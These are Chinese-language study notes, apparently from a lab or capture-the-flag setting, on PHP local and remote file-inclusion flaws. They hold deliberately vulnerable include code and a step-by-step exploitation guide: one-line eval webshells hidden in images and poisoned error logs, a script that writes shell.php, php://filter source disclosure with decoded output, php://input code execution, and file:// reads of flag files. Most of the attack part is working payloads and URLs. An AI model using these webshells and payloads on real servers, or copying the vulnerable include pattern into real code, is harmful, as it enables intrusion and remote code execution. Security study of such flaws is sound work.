//include包含 <?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8"/>'; include "$_GET[page]"; ?> //放在网站目录下,直接可以访问网站下文件(文件名2.php) //访问时:http://127.0.0.1/2.php?page=1.txt (1.txt是放在网站的目录)相当于<?php include '1.txt';?> include包括文件
<?php $a = "$_GET[page]";//获得GET中的值 双引号解析变量 单引号原子符输出 $a = $_GET['page']; echo $a; ?> //http://127.0.0.1/4.php?page=55将55传入文件中并赋值给变量a
本地文件包含(Loacl File Inclusion,LFI):
通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行。
远程文件包含(Remote File Inclusion,RFI):
该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码。
利用文件包含漏洞必须包括main.php中代码 <?php $a = "$_GET[page]"; include $a; ?>
1.图片一句话木马
先用命令或工具把一句话木马加载到图片中
上传图片
利用菜刀连
http://10.1.2.5:17857/cs/main.php?page=/uploads/14563.jpg
2.日志一句话木马
利用错误日志
将一句话木马写入错误日志中
http://127.0.0.1/<?php @eval($_POST["value"])>
利用bp抓包
在bp中自动编码所以要改成
在日志文件中显示
利用菜刀连接
http://10.1.2.5:17857/cs/main.php?page=错误日志路径 (在连接错误日志的时候可能连接不上,可能是错误日志文件过多,需要清理)
3.利用远程访问
//在test.php中 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[1478963]); ?>');//利用//文件包含漏洞运行test.php文件会在文件目录创建shell.php ?>
http://10.1.2.5:17857/cs/main.php?page=test.php(test.php路径所在地)
4.PHP封装协议读取文件
http://10.1.2.5:17857/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php 获取源代码
返回到网页中:PD9waHAKZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmOCIgLz4nOwppbmNsdWRlICIkX0dFVFtwYWdlXSI7Cj8+
再利用Base64解码
<?php echo '<meta http-equiv="Content-Type" content="text/html; charset=utf8" />'; include "$_GET[page]"; ?>
5.PHP封装协议执行命令
http://10.1.2.5:17857/cs/main.php?page=php://input
进行执行PHP代码
6.file协议 需要服务器的绝对路径
http://10.1.2.5:17857/cs/main.php?page=file://c:/flag.txt